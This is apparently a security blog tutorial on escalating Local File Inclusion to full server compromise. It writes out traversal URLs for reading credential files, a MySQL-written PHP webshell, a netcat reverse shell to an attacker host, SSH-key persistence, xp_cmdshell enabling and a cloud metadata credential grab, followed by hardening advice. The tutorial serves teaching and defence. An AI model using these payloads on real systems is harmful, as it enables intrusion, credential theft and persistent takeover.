Listen to this Post
Introduction:
Local File Inclusion (LFI) vulnerabilities allow attackers to read arbitrary files from a web server’s filesystem, often exposing sensitive configuration files. When combined with thorough reconnaissance and creative exploitation, an LFI can escalate from a medium-severity issue (CVSS 7.0) to a full system compromise with critical impact (CVSS 10.0). This article dissects a real-world scenario where an LFI led to leaked database credentials, granting attackers complete control over the target environment.
Learning Objectives:
- Understand how LFI vulnerabilities can be discovered and abused to read sensitive system files.
- Learn step-by-step techniques to extract database credentials from configuration files and leverage them for remote compromise.
- Implement defensive measures including input validation, file permission hardening, and database access controls.
You Should Know:
- Detecting and Exploiting LFI to Read Critical System Files
The initial discovery involves a parameter in a web application that references a file, such as?page=about.php. An attacker tests for LFI by attempting directory traversal sequences like../../../../etc/passwd. Once confirmed, the attacker pivots to reading application-specific files that may contain credentials.
Step‑by‑step guide – Linux LFI exploitation:
- Identify a vulnerable parameter: `http://target.com/index.php?file=home`
2. Test basic traversal: `http://target.com/index.php?file=../../../../etc/passwd`
3. If successful, attempt to read web server configuration files (e.g.,/etc/apache2/apache2.conf,/etc/nginx/nginx.conf).
4. Locate application configuration files – common paths:
– `/var/www/html/config.php`
– `/var/www/html/.env`
– `/home/user/public_html/wp-config.php`
5. Use filters if direct PHP execution is blocked – e.g., `php://filter/convert.base64-encode/resource=config.php` to read base64-encoded source code.
Windows equivalents:
- `http://target.com/index.php?file=..\..\..\Windows\win.ini`
- Read database connection files: `C:\inetpub\wwwroot\web.config` or `C:\xampp\htdocs\config.inc.php`
2. Leaking Database Credentials from Application Configuration Files
Once LFI grants read access to configuration files, the attacker extracts plaintext or weakly obfuscated credentials. Common patterns include
DB_PASSWORD,database_password, or hardcoded strings. These credentials often belong to high-privileged database users (e.g., root, sa).
Step‑by‑step credential extraction and validation:
- Retrieve the configuration file via LFI and inspect its content:
curl "http://target.com/index.php?file=../../../../var/www/html/.env"
2. Look for entries like:
DB_HOST=localhost DB_USER=webapp_admin DB_PASS=S3cr3tP@ssw0rd DB_NAME=production
3. Validate credentials by connecting to the database from the attacker’s machine (if accessible remotely) or through the vulnerable web server (e.g., using SQL injection or command injection if available).
4. Example MySQL remote connection test:
mysql -h target-db-host -u webapp_admin -p'S3cr3tP@ssw0rd' -e "SELECT user();"
5. If direct external access is blocked, use the LFI to read database error logs or attempt to write a webshell via `INTO OUTFILE` if privileges allow.
- Escalating from Database Access to Full System Compromise
With database credentials, an attacker can achieve remote code execution through multiple vectors: enabling `INTO OUTFILE` to write a webshell, exploiting database functions (e.g., `xp_cmdshell` on MSSQL), or using the database as a pivot to compromise the host via stored procedures.
Step‑by‑step attack chain – Writing a webshell via MySQL:
1. Confirm file write permissions:
SHOW VARIABLES LIKE 'secure_file_priv';
If empty or a writable directory, proceed.
- Write a PHP webshell into the web root:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php";
- Trigger the webshell via LFI or direct HTTP access:
curl "http://target.com/shell.php?cmd=id"
4. Upgrade to a reverse shell:
On attacker machine nc -lvnp 4444 Via webshell curl "http://target.com/shell.php?cmd=nc -e /bin/bash attacker_ip 4444"
Linux persistence example:
echo 'ssh-rsa AAAAB3NzaC1yc2E... attacker@kali' >> /root/.ssh/authorized_keys
Windows command injection via MSSQL `xp_cmdshell`:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami';
- Mitigation and Hardening Strategies to Block LFI to RCE
Preventing this attack chain requires multiple layers: input sanitization, least privilege for database users, disabling dangerous database features, and strict file permissions.
Step‑by‑step hardening guide:
1. Web application:
- Use whitelists for file inclusion (e.g., map `?page=home` to `home.php` internally).
- Disable `allow_url_include` and `allow_url_fopen` in
php.ini. - Implement proper path canonicalization (realpath() and validate against base directory).
2. Database server:
- Never run database with file system write privileges (
secure_file_privshould be set to a no‑write directory, or `NULL` on MySQL). - Disable `xp_cmdshell` on MSSQL unless absolutely necessary.
- Use separate low‑privileged database users for web applications – no `FILE` or `SUPER` privileges.
3. File system:
- Application configuration files (
.env,config.php) should be readable only by the web server user, not world‑readable. - Place configuration files outside the web root (e.g.,
/etc/app/config.php).
4. Network segmentation:
- Database should only accept connections from application servers, not from the public internet.
- Implement WAF rules to detect directory traversal patterns (
\.\./or..\).
5. Cloud and API Security Considerations
In cloud environments (AWS, GCP, Azure), LFI can expose metadata endpoints or cloud‑specific credentials (e.g., `http://169.254.169.254/latest/meta-data/`). If an LFI allows reading external URLs, an attacker can retrieve IAM roles and compromise entire cloud accounts.
Example attack via LFI + SSRF:
GET /index.php?file=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role
Mitigation:
- Block access to metadata IPs via web application firewall or network ACLs.
- Use IMDSv2 (Instance Metadata Service Version 2) which requires session‑oriented PUT requests.
- Regularly rotate IAM keys and use least‑privilege roles.
6. Automated Reconnaissance and Tool Configuration
Use automated scanners to detect LFI and credential leaks, then manually verify.
Tool commands:
LFI detection with ffuf ffuf -u "http://target.com/index.php?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt Extract credentials from leaked files using grep grep -rni "DB_PASSWORD|PASSWORD|SECRET_KEY" /path/to/leaked/files Nikto scan for LFI and config files nikto -h http://target.com -Tuning 4
Windows PowerShell one‑liner to search for config files:
Get-ChildItem -Path C:\ -Include .config,.env,.ini -Recurse -ErrorAction SilentlyContinue | Select-String "password"
7. Vulnerability Exploitation and Mitigation Training Recommendations
To master LFI and privilege escalation, pursue hands‑on courses and certifications:
- Practical courses: eLearnSecurity Web Application Penetration Tester (EWPTX), Offensive Security Web Expert (OSWE)
- Free labs: PortSwigger Web Security Academy (LFI and file path traversal labs), HackTheBox machines with LFI to RCE chains
- Training focus areas: PHP wrappers (
php://filter,expect://), log poisoning (via Apache/Nginx access logs), and session file inclusion
What Undercode Say:
- LFI is never just a reader – every file read is a potential stepping stone to credentials, keys, or RCE. Treat path traversal as critical until proven otherwise.
- Defense in depth requires configuration isolation – storing secrets outside web root and disabling dangerous database functions blocks 90% of LFI escalation paths. Even with file read, no credentials means no compromise.
This attack chain demonstrates why a CVSS 7.0 (high) can become 10.0 (critical) in practice. Organizations must assume that any file inclusion leads to full system takeover and architect accordingly – apply input whitelists, enforce strict file permissions, and continuously monitor for traversal attempts in logs.
Prediction:
As more applications shift to microservices and containerized environments, LFI will evolve to target Kubernetes secrets (/var/run/secrets/kubernetes.io/serviceaccount/token) and cloud metadata services. Attackers will combine LFI with AI‑driven recon to automatically extract credentials and chain vulnerabilities, increasing the speed from initial read to full compromise to minutes. Defenders must adopt runtime file integrity monitoring and immutable infrastructure to break the kill chain before credential leaks occur.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Prashant Chaudhary – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
